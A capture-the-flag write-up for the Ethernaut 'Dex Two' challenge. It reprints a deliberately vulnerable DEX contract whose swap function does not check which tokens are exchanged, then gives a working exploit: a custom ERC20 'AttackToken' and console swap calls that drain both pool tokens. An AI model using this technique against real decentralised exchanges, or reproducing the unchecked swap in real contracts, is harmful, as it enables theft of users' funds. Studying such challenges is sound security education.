Ethernaut Level 23: Dex Two

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract DexTwo is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Requirements

  1. Drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

Concepts

Hack

The code is similar to Level 22 however, notice that at swap the line

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

is missing. Basically, the function does not check if the transfer is between token1 and token2. This means we can create a malicious ERC20 token and swap it for token1 and token2.

Solution

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract AttackToken is ERC20 {
    constructor() ERC20("AttackToken", "ATK") {
        _mint(msg.sender, 400);
    }
}

We deploy the AttackToken contract and mint an arbitrary amount of 400 tokens. We also set the following variables in the console for convenience.

const AttackToken = tokenAddress
const token1 = await contract.token1()
const token2 = await contract.token2()

Before we can swap the tokens, we first transfer 100 AttackToken to the DexTwo.

image.png

Next we approve the DexTwo to allow it to spend/transfer AttackToken.

image.png

These can be done through remix.

We then swap 100 ATK tokens for token1 so that we can completely drain token1. 100 tokens will be swapped because of how getSwapAmount works.

await contract.swap(AttackToken, token1, 100)

Finally, we swap 200 ATK tokens for token2 to drain the Dex.

await contract.swap(AttackToken, token2, 200)

Done!